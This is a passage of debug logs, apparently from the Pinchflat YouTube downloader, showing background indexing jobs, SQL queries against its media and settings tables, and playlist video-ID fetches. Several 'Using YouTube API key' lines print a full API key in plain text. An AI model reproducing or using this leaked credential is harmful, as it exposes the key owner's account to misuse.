m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:35:25.342 [debug] QUERY OK source="tasks" db=0.1ms idle=228.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268503, 32, ~U[2026-10-09 22:35:25Z], ~U[2026-10-09 22:35:25Z]] 17:35:25.343 [info] {"args":{"id":32},"id":5268463,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":378592,"event":"job:stop","queue_time":734609,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.349 [info] {"args":{"id":15},"id":5268465,"meta":{},"system_time":1791585325349217278,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.349 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:35:25.349 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.349 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:25.350 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.350 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:35:25.350 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.350 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:25.532 [debug] QUERY OK source="media_items" db=0.6ms idle=181.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 17:35:25.533 [debug] QUERY OK source="media_items" db=0.2ms idle=183.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:35:25.533 [debug] QUERY OK source="tasks" db=0.1ms idle=183.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268504, 24, ~U[2026-10-09 22:35:25Z], ~U[2026-10-09 22:35:25Z]] 17:35:25.534 [info] {"args":{"id":24},"id":5268464,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":420730,"event":"job:stop","queue_time":628658,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.540 [info] {"args":{"id":3},"id":5268466,"meta":{},"system_time":1791585325540162955,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.540 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:35:25.540 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.540 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:25.540 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.541 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:35:25.541 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:25.541 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:25.676 [debug] QUERY OK source="media_items" db=0.7ms idle=135.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 17:35:25.677 [debug] QUERY OK source="media_items" db=0.5ms idle=136.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:35:25.678 [debug] QUERY OK source="tasks" db=0.1ms idle=137.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268505, 15, ~U[2026-10-09 22:35:25Z], ~U[2026-10-09 22:35:25Z]] 17:35:25.678 [info] {"args":{"id":15},"id":5268465,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":329255,"event":"job:stop","queue_time":714426,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:25.810 [debug] QUERY OK source="media_items" db=0.9ms idle=131.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 17:35:25.811 [debug] QUERY OK source="media_items" db=0.5ms idle=132.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:35:25.812 [debug] QUERY OK source="tasks" db=0.1ms idle=127.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268506, 3, ~U[2026-10-09 22:35:25Z], ~U[2026-10-09 22:35:25Z]] 17:35:25.813 [info] {"args":{"id":3},"id":5268466,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":272575,"event":"job:stop","queue_time":697224,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:43.983 [info] {"args":{"id":27},"id":5268467,"meta":{},"system_time":1791585343983140210,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:43.983 [debug] QUERY OK source="sources" db=0.1ms idle=636.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:35:43.983 [debug] QUERY OK source="settings" db=0.0ms idle=636.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:43.983 [debug] QUERY OK source="media_profiles" db=0.1ms idle=636.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:43.983 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:43.983 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:35:43.984 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:43.984 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:44.114 [debug] QUERY OK source="media_items" db=0.7ms idle=130.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 17:35:44.116 [debug] QUERY OK source="media_items" db=0.9ms idle=131.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:35:44.117 [debug] QUERY OK source="tasks" db=0.1ms idle=133.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268507, 27, ~U[2026-10-09 22:35:44Z], ~U[2026-10-09 22:35:44Z]] 17:35:44.117 [info] {"args":{"id":27},"id":5268467,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134189,"event":"job:stop","queue_time":398845,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:44.984 [info] {"args":{"id":1},"id":5268468,"meta":{},"system_time":1791585344984244830,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:44.984 [info] {"args":{"id":18},"id":5268469,"meta":{},"system_time":1791585344984290615,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:44.984 [debug] QUERY OK source="sources" db=0.2ms idle=866.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 